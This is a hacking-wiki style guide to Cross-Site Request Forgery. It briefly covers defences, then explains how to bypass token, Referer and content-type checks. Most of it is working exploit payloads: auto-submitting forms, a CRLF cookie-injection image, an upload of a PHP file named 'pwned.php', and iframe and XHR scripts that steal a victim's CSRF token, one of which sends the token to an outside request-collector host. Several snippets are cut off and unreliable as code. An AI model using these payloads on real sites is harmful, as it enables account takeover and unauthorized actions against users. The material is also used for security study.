CSRF (Cross Site Request Forgery)

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Cross-Site Request Forgery (CSRF) Explained

Cross-Site Request Forgery (CSRF) is a type of security vulnerability found in web applications. It enables attackers to perform actions on behalf of unsuspecting users by exploiting their authenticated sessions. The attack is executed when a user, who is logged into a victim's platform, visits a malicious site. This site then triggers requests to the victim's account through methods like executing JavaScript, submitting forms, or fetching images.

Prerequisites for a CSRF Attack

To exploit a CSRF vulnerability, several conditions must be met:

  1. Identify a Valuable Action: The attacker needs to find an action worth exploiting, such as changing the user's password, email, or elevating privileges.

  2. Session Management: The user's session should be managed solely through cookies or the HTTP Basic Authentication header, as other headers cannot be manipulated for this purpose.

  3. Absence of Unpredictable Parameters: The request should not contain unpredictable parameters, as they can prevent the attack.

Quick Check

You could capture the request in Burp and check CSRF protections and to test from the bowser you can click on Copy as fetch and check the request:

Defending Against CSRF

Several countermeasures can be implemented to protect against CSRF attacks:

  • SameSite cookies: This attribute prevents the browser from sending cookies along with cross-site requests. More about SameSite cookies.

  • Cross-origin resource sharing: The CORS policy of the victim site can influence the feasibility of the attack, especially if the attack requires reading the response from the victim site. Learn about CORS bypass.

  • User Verification: Prompting for the user's password or solving a captcha can confirm the user's intent.

  • Checking Referrer or Origin Headers: Validating these headers can help ensure requests are coming from trusted sources. However, careful crafting of URLs can bypass poorly implemented checks, such as:

    • Using http://mal.net?orig=http://example.com (URL ends with the trusted URL)

    • Using http://example.com.mal.net (URL starts with the trusted URL)

  • Modifying Parameter Names: Altering the names of parameters in POST or GET requests can help in preventing automated attacks.

  • CSRF Tokens: Incorporating a unique CSRF token in each session and requiring this token in subsequent requests can significantly mitigate the risk of CSRF. The effectiveness of the token can be enhanced by enforcing CORS.

Understanding and implementing these defenses is crucial for maintaining the security and integrity of web applications.

Defences Bypass

From POST to GET

Maybe the form you want to abuse is prepared to send a POST request with a CSRF token but, you should check if a GET is also valid and if when you send a GET request the CSRF token is still being validated.

Lack of token

Applications might implement a mechanism to validate tokens when they are present. However, a vulnerability arises if the validation is skipped altogether when the token is absent. Attackers can exploit this by removing the parameter that carries the token, not just its value. This allows them to circumvent the validation process and conduct a Cross-Site Request Forgery (CSRF) attack effectively.

CSRF token is not tied to the user session

Applications not tying CSRF tokens to user sessions present a significant security risk. These systems verify tokens against a global pool rather than ensuring each token is bound to the initiating session.

Here's how attackers exploit this:

  1. Authenticate using their own account.

  2. Obtain a valid CSRF token from the global pool.

  3. Use this token in a CSRF attack against a victim.

This vulnerability allows attackers to make unauthorized requests on behalf of the victim, exploiting the application's inadequate token validation mechanism.

Method bypass

If the request is using a "weird" method, check if the method override functionality is working. For example, if it's using a PUT method you can try to use a POST method and send: https://example.com/my/dear/api/val/num?_method=PUT

This could also works sending the _method parameter inside the a POST request or using the headers:

  • X-HTTP-Method

  • X-HTTP-Method-Override

  • X-Method-Override

Custom header token bypass

If the request is adding a custom header with a token to the request as CSRF protection method, then:

  • Test the request without the Customized Token and also header.

  • Test the request with exact same length but different token.

Applications may implement CSRF protection by duplicating the token in both a cookie and a request parameter or by setting a CSRF cookie and verifying if the token sent in the backend corresponds to the cookie. The application validates requests by checking if the token in the request parameter aligns with the value in the cookie.

However, this method is vulnerable to CSRF attacks if the website has flaws allowing an attacker to set a CSRF cookie in the victim's browser, such as a CRLF vulnerability. The attacker can exploit this by loading a deceptive image that sets the cookie, followed by initiating the CSRF attack.

Below is an example of how an attack could be structured:

  <!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
  <script>history.pushState('', '', '/')</script>
    <form action="https://example.com/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
      <input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
      <input type="submit" value="Submit request" />
    <img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>

Note that if the csrf token is related with the session cookie this attack won't work because you will need to set the victim your session, and therefore you will be attacking yourself.

Content-Type change

According to this, in order to avoid preflight requests using POST method these are the allowed Content-Type values:

  • application/x-www-form-urlencoded

  • multipart/form-data

  • text/plain

However, note that the severs logic may vary depending on the Content-Type used so you should try the values mentioned and others like application/json,text/xml, application/xml.

Example (from here) of sending JSON data as text/plain:

    <form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
      <input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>

Bypassing Preflight Requests for JSON Data

When attempting to send JSON data via a POST request, using the Content-Type: application/json in an HTML form is not directly possible. Similarly, utilizing XMLHttpRequest to send this content type initiates a preflight request. Nonetheless, there are strategies to potentially bypass this limitation and check if the server processes the JSON data irrespective of the Content-Type:

  1. Use Alternative Content Types: Employ Content-Type: text/plain or Content-Type: application/x-www-form-urlencoded by setting enctype="text/plain" in the form. This approach tests if the backend utilizes the data regardless of the Content-Type.

  2. Modify Content Type: To avoid a preflight request while ensuring the server recognizes the content as JSON, you can send the data with Content-Type: text/plain; application/json. This doesn't trigger a preflight request but might be processed correctly by the server if it's configured to accept application/json.

  3. SWF Flash File Utilization: A less common but feasible method involves using an SWF flash file to bypass such restrictions. For an in-depth understanding of this technique, refer to this post.

Referrer / Origin check bypass

Avoid Referrer header

Applications may validate the 'Referer' header only when it's present. To prevent a browser from sending this header, the following HTML meta tag can be used:

<meta name="referrer" content="never">

This ensures the 'Referer' header is omitted, potentially bypassing validation checks in some applications.

Regexp bypasses

pageURL Format Bypass

To set the domain name of the server in the URL that the Referrer is going to send inside the parameters you can do:

  <!-- Referrer policy needed to send the qury parameter in the referrer -->
  <head><meta name="referrer" content="unsafe-url"></head>
  <script>history.pushState('', '', '/')</script>
    <form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
      <input type="submit" value="Submit request" />
      // You need to set this or the domain won't appear in the query of the referer header
      history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")

HEAD method bypass

The first part of this CTF writeup is explained that Oak's source code, a router is set to handle HEAD requests as GET requests with no response body - a common workaround that isn't unique to Oak. Instead of a specific handler that deals with HEAD reqs, they're simply given to the GET handler but the app just removes the response body.

Therefore, if a GET request is being limited, you could just send a HEAD request that will be processed as a GET request.

Exploit Examples

Exfiltrating CSRF Token

If a CSRF token is being used as defence you could try to exfiltrate it abusing a XSS vulnerability or a Dangling Markup vulnerability.

GET using HTML tags

<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

Other HTML5 tags that can be used to automatically send a GET request are:

<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="">
<embed src="...">
<audio src="...">
<video src="...">
<source src="..." type="...">
<video poster="...">
<link rel="stylesheet" href="...">
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
  body { background: url('...'); }
<bgsound src="...">
<track src="..." kind="subtitles">
<input type="image" src="..." alt="Submit Button">

Form GET request

  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <script>history.pushState('', '', '/')</script>
    <form method="GET" action="https://victim.net/email/change-email">
      <input type="hidden" name="email" value="some@email.com" />
      <input type="submit" value="Submit request" />

Form POST request

  <script>history.pushState('', '', '/')</script>
    <form method="POST" action="https://victim.net/email/change-email" id="csrfform">
      <input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
      <input type="submit" value="Submit request" />
      <img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
      document.forms[0].submit(); //Way 3 to autosubmit

Form POST request through iframe

The request is sent through the iframe withuot reloading the page 
  <iframe style="display:none" name="csrfframe"></iframe> 
    <form method="POST" action="/change-email" id="csrfform" target="csrfframe">
      <input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
      <input type="submit" value="Submit request" />

Ajax POST request

var xh;
if (window.XMLHttpRequest)
  {// code for IE7+, Firefox, Chrome, Opera, Safari
  xh=new XMLHttpRequest();
  {// code for IE6, IE5
  xh=new ActiveXObject("Microsoft.XMLHTTP");
xh.withCredentials = true;
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)

//JQuery version
  type: "POST",
  url: "https://google.com",
  data: "param=value&param2=value2"

multipart/form-data POST request

myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
    method: "post",
    body: myFormData,
    credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    mode: "no-cors"

multipart/form-data POST request v2

// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
//  MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";


Form POST request from within an iframe

<--! expl.html -->

<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
function envia(){document.getElementById("formulario").submit();}

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>

Steal CSRF Token and send a POST request

function submitFormWithTokenJS(token) {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", POST_URL, true);
    xhr.withCredentials = true;

    // Send the proper header information along with the request
    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

    // This is for debugging and can be removed
    xhr.onreadystatechange = function() {
        if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {

    xhr.send("token=" + token + "&otherparama=heyyyy");

function getTokenJS() {
    var xhr = new XMLHttpRequest();
    // This tels it to return it as a HTML document
    xhr.responseType = "document";
    xhr.withCredentials = true;
    // true on the end of here makes the call asynchronous
    xhr.open("GET", GET_URL, true);
    xhr.onload = function (e) {
        if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            // Get the document from the response
            page = xhr.response
            // Get the input element
            input = page.getElementById("token");
            // Show the token
            //console.log("The token is: " + input.value);
            // Use the token to submit the form
    // Make the request

var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"

Steal CSRF Token and send a Post request using an iframe, a form and Ajax

<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />

<script type="text/javascript">
function f1(){
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>

Steal CSRF Token and sen a POST request using an iframe and a form

<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>

function read()
    var name = 'admin2';
    var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
    document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">');
    document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
    document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
    document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');

Steal token and send it using 2 iframes

var token;
function readframe1(){
  token = frame1.document.getElementById("profile").token.value;
  document.getElementById("bypass").token.value = token
function loadframe2(){
  var test = document.getElementbyId("frame2");
  test.src = "http://requestb.in/1g6asbg1?token="+token;

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()" 
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2" 
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
  <input type="text" name="username" value="z">
  <input type="checkbox" name="status" checked="">        
  <input id="token" type="hidden" name="token" value="0000" />
  <button type="submit">Submit</button>

POSTSteal CSRF token with Ajax and send a post with a form

<body onload="getData()">

<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
  <input type="hidden" name="username" value="root"/>
  <input type="hidden" name="status" value="on"/>
  <input type="hidden" id="findtoken" name="token" value=""/>
  <input type="submit" value="valider"/>

var x = new XMLHttpRequest();
function getData() {
  x.withCredentials = true;